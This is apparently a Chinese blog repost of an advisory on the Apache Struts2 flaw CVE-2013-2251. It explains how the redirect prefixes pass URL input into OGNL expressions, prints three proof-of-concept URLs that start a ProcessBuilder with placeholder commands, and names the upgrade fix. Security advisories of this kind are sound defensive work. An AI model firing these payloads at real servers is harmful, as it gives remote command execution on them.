Apache Struts2打开重定向/命令执行 CVE-2013-2251「建议收藏」

Apache Struts2打开重定向/命令执行 CVE-2013-2251「建议收藏」昨日,著名JavaWeb框架Struts官方再发高危安全漏洞补丁升级(最新版本为:2.3.15.1),升级修补了多个安全漏洞,其中包括一个远程任意代码的高危安全漏洞,这些漏洞可以影响到Struts2.0.0-Struts2.3.15的所有版本。攻击者可以利用该漏洞,执行恶意Java代码,最终导致网站数据被窃取、网页被篡改等严重后果。基于Struts2使用广泛,目前很多网站还没有升级,另外

大家好,又见面了,我是你们的朋友全栈君。

昨日,著名Java Web框架Struts官方再发高危安全漏洞补丁升级(最新版本为:2.3.15.1),升级修补了多个安全漏洞,其中包括一个远程任意代码的高危安全漏洞,这些漏洞可以影响到Struts 2.0.0 – Struts 2.3.15的所有版本。攻击者可以利用该漏洞,执行恶意Java代码,最终导致网站数据被窃取、网页被篡改等严重后果。基于Struts2使用广泛,目前很多网站还没有升级,另外我们注意到针对该漏洞的攻击代码已出现。

关于Struts

      Struts通过采用Java Servlet/JSP技术,实现了基于Java EE Web应用的Model-View-Controller(MVC)设计模式的应用框架,是MVC经典设计模式中的一个经典产品。目前Struts是应用最广泛的Web应用框架之一。

描述:


BUGTRAQ  ID:
61189

CVE ID:
CVE-2013-2251

Struts2 是第二代基于Model-View-Controller (MVC)模型的java企业级web应用框架。它是WebWork和Struts社区合并后的产物。

Apache Struts2的action:、redirect:和redirectAction:前缀参数在实现其功能的过程中使用了Ognl表达式,并将用户通过URL提交的内容拼接入Ognl表达式中,从而造成攻击者可以通过构造恶意URL来执行任意Java代码,进而可执行任意命令。

redirect:和redirectAction:此两项前缀为Struts默认开启功能,目前Struts 2.3.15.1以下版本均存在此漏洞。

<*来源:Takeshi Terada (Mitsui Bussan Secure Directions, Inc)

  

  链接:
http://struts.apache.org/release/2.3.x/docs/s2-016.html

*>

测试方法:


警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

http://host/struts2-blank/example/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{‘command’,’goes’,’here’})).start()}


http://host/struts2-showcase/employee/save.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{‘command’,’goes’,’here’})).start()}


http://host/struts2-showcase/employee/save.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{‘command’,’goes’,’here’})).start()}

解决方案

升级到到Struts 2.3.15.1,下地地址:http://struts.apache.org/download.cgi#struts23151

针对Struts屡发高危漏洞,SCANV推荐使用来自阿里云的著名网络安全专家 空虚浪子心 推出的解决方案。详见:http://www.inbreak.net/archives/507

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/158486.html原文链接:https://javaforall.net

(0)
上一篇 2022年7月13日 下午1:46
下一篇 2022年7月13日 下午2:00


相关推荐

  • vue组件库和组件文档生成

    vue组件库和组件文档生成公司现役组件库项目 公共资源或者新老项目切换仓库调整 src 目录结构 src App vue main js packages 新建此文件夹用来存放组件 index js 组件入口 button vue 新增一个 button 组件 记得带上 name icon 新增一个 icon 组件 记得带上 namepackages index js 所有组件的入口 import

    2026年3月17日
    2
  • Qt Mac 在软件 icns图标制作

    Qt Mac 在软件 icns图标制作

    2022年1月7日
    280
  • sa结构组网方式_5g组网SA和NSA的区别是啥?

    sa结构组网方式_5g组网SA和NSA的区别是啥?SA Standalone 叫做独立组网 NSA Non Standalone 叫做非独立组网 一直以来 SA 和 NSA 存在着争议 从本质上来说 可以将其归纳为利益问题 比如从运营商角度来看 客户基数少 盈利水平较低的运营商倾向于 NSA 因为独立组网意味着更多的基站成本和核心网成本投入 但是 争执总将会归于平静 博弈终会止于均衡 在通信界内部 将 5GNSA 组网作为过渡为 5GSA 组网的中间步骤已经

    2026年3月18日
    3
  • SparkStreaming的介绍及原理

    SparkStreaming的介绍及原理一、SparkStreaming的介绍1.离线和流处理的区别1)离线处理是针对一个批次,这个批次一般情况下都比较大流处理对应的数据是连续不断产生,处理时间间隔非常短的数据2)离线处理程序,因为数据是有限的(bounded),所以会终止流数据因为是连续不断的产生,所以数据是无限的(unbounded)由于数据的特征,一般离线处理比较缓慢,流数据处理相对较快流处理:…

    2022年6月20日
    40
  • Java课程设计-学生成绩管理系统

    Java课程设计-学生成绩管理系统????作者主页:疯狂行者????????简介:Java领域新星创作者????、【计算机源码之家】公号作者✌简历模板、学习资料、面试题库【关注我,都给你】????????文末获取源码联系????工具下载链接????????????:JDK版本下载Eclipse下载链接Mysql下载链接tomcat下载链接向日葵远程工具Maven下载链接计算机课程设计|毕业设计之学生成绩管理系统代码-基于JavaWeb的学生成绩管理系统文章目录计算机课程设计|毕业设计之学生成绩管理系统代码-基于Ja

    2022年7月17日
    10
  • android开发笔记之SwipeRefreshLayout

    android开发笔记之SwipeRefreshLayoutSwipeRefreshLayout简介SwipeRefrshLayout是Google官方更新的一个控件,可以实现下拉刷新的效果,该控件集成自ViewGroup在support-v4兼容包下.在android源码中,主要是在联系人界面刷新联系人数据:packages/apps/Contacts/src/com/android/contacts/list/DefaultContactBrow…

    2022年6月25日
    30

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号